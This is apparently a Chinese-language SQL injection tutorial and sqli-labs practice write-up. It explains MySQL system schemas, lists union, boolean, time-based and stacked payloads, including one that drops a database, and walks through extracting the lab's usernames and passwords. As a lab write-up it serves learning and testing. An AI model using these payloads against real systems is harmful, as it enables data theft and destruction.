##SQL注入

一:SQL注入测试规范:

注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。

二:SQL注入原理:

上图中,要明白sql注入是发生在数据访问层中。这就说明在前端中即使没用输入框也会有sql注入发生。
总的来说呢:sql注入发生于应用程序与数据库层的安全漏洞。 网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的 输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

三:SQL的利用

先要在脑中有个概念,数据库的层级关系:

  • 数据库中有多个数据库—> 库中会有多个数据表—>数据表中有多个字段—>字段中存储这我们要的数据.
  • 那么我们要在sql注入时要一层一层查询的。

用MYSQl来学习基础的数据库知识。

MYSQL系统库:

1. information_schema库

信息数据库,存放数据库名,数据库表,表字段的数据类型,访问权限等信息。 它里面包含了的表有:

  • SCHEMATA表:
    当前Mysql实例中所有的数据库信息。字段:schema_name 保存当前数据库服务器里面所有库名的信息。
  • TABLES表:
    提供数据中表的信息。字段:tables_name,保存了当前数据库服务器中所有数据库表名 。table_schema 是数据库的名称。table_name 是具体的表名。table_type 表的类型。
  • COLUMNS表:
    提供了表中列的信息。字段:columns_name 保存所有数据库服务器所维护的所有数据库的信息。
2. mysql库:

MYSQL的核心数据库,存放数据库的用户,权限设置,关键字等MySQL自己要使用的控制和管理信息。

3. performance_schema 库:

内存数据库,数据放在内存中直接操作的数据库。相对于磁盘, 内存的数据读写速度要高出几个数量级,将数据保存在内存中相 比从磁盘上访问能够极大地提高应用的性能。

4. sys 库:

通过这个数据库数据库,可以查询谁使用了最多的资源 基于IP或是用户。哪张表被访问过最多等等信息。

SQL注入带来的威胁:

  • 猜解后台数据库,盗窃网站敏感信息
  • 饶过验证登录网站后台
  • 借助数据库存储过程进行提权等操作

sql语句:

  • select * from yyy ##从yyy中查找所有数据 ,*代表所有。
  • **select … ** union select … 用来拼接两条语句的。
  • select yyy where ZZZ 条件查询,当ZZZ为真,查询yyy,就和if语句一样。
  • show databases; #查询当前数据库的所有数据库。
  • show tables; 查询当前数据库的所有表
  • order by 字段名 # 以该字段名排序,在sql注入中用来猜解字段数,若是跟数字就是以该数字位置的字段名排序,若没有这么多的字段数,报错,就可猜出字段数。
    函数:
  • user() 当前用户名。
  • database() 当前所操作的数据库名。

用过的注入语句:

  • xx’ union select 1,2,3,4,… # 联合查询注入,试出正确的字段数,再进行替换注入语句。
  • xx’ or 1=1 # 布尔型注入
  • xx’ and sleep(2) 基于时间延迟注入,根据网页的响应时间来判断注入点。
  • xx’;drop database databasename; stacked queries堆叠注入
  • 有的页面能够输出sql报错的信息,则可从中获取信息。

SQL注入一般的步骤:

  • 找出注入点,根据网站的响应来进行注入。
  • 先找到库名、用户名,要用到 database()、user()。
  • 再找到当前库下的所有表名,找出可能有信息的表,要用到系统库,基本的查询语句:“select table_name from information_schema.tables where table_schema=database() #”
  • 获取表中的字段信息:“select column_name from information_schema.columns where table_name=‘xxx’ and table_schema=database(); #”
  • 知道字段后就可以从中查出数据。

注:要通过靶场去练习,更能深刻的理解内容。推荐靶场pikachu,dvwa。还可以从GitHub上面找一些师傅上传的靶场。

四:靶场练习

①:靶场SQLi-lab

  1. 安装靶场:
    一个专业的SQL注入练习平台。
    下载:sqli-lab下载
    安装的话就可以在PHPstudy中搭建一个mysql和apache的环境。Ⅰ:把源码放置在phpstudy的WWW根目录下。
    Ⅱ:在phpstudy上创建一个网站,并且创建一个数据库名为security的数据库,数据库的用户名和密码自己设定就行。
    Ⅲ:再把源码中的sql-lab.sql导入数据库
    Ⅳ:将下载的代码中sql-connections文件夹下的db-creds.inc中的参数修改一下。改成创建的数据库的用户名和密码。

Ⅴ:环境搭建好,访问网站,先点击下图中粉色的链接。
出现下方的显示,表示数据库安装完成。就可以使用了

2. 手工注入

Ⅰ. 咱们刚开始先判断有没有注入点。看看对于输入的数据有没有严格的检查过滤,如果网站执行了输入的语句那么就存在注入点(判断注入点不仅仅是执行了,它报错了也是有注入点的。)
Ⅱ. 判断了出注入点之后要,猜解列名数量,用”order by N“来猜。
Ⅲ. 报错,判断回显点。
Ⅳ. 信息收集。 数据库版本:version()、用户名:user()、当前数据库名称:database()
Ⅴ. 使用对应的sql进行注入。利用系统库来查库、表、列中的数据,得到我们要查询的信息。

用sqli-lab第二关为例。
- 在第二关的页面上,试用一个简单sql语句,发现会报错,说明我们用id传上去的参数是被数据库给执行了的。那么我们就可以构造一些sql语句去查他数据库的数据。
- 知道有注入点,我们用 “order by N“来猜解字段数。发现N=4时报错,说明该表中就4个字段。

=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=++++++

- 知道3个字段,判断回显点,用union来找出回显点,发现是2和3 的位置是回显点。(ps:我下载的靶场被 LIMIT 0,1限制只能在页面上显示一条数据,所以我把id的参数输入了不会查询到数据的参数)

?id=0 union select 1,2,3 

- 发现了回显点,我们就可以收集到一些信息了。数据库 5.7.26版本 用户信息:root@localhost 还有数据库名:security- 开始注入吗,利用前面的信息和系统库来查
知道数据库名:security,开始查表名【用到系统库中tables表中的table_name 】

union select 1,table_name,3 from information_shcema.tables where table_schema='security';

我们利用上面语句查到:emails,referers,uagents,users。 以上最有可能有用户信息的是users表。
- 我们找到表名,开始找列名。用sql语句得到的数据有:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
这里username,password可以用到。

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

- 得到了字段名,还知道表名了,就可以查了

union select 1,group_concat(username),group_concat(password) from users

这里就完成了注入,得到了所有的用户名:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
和密码:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

更多推荐

SQL注入的总结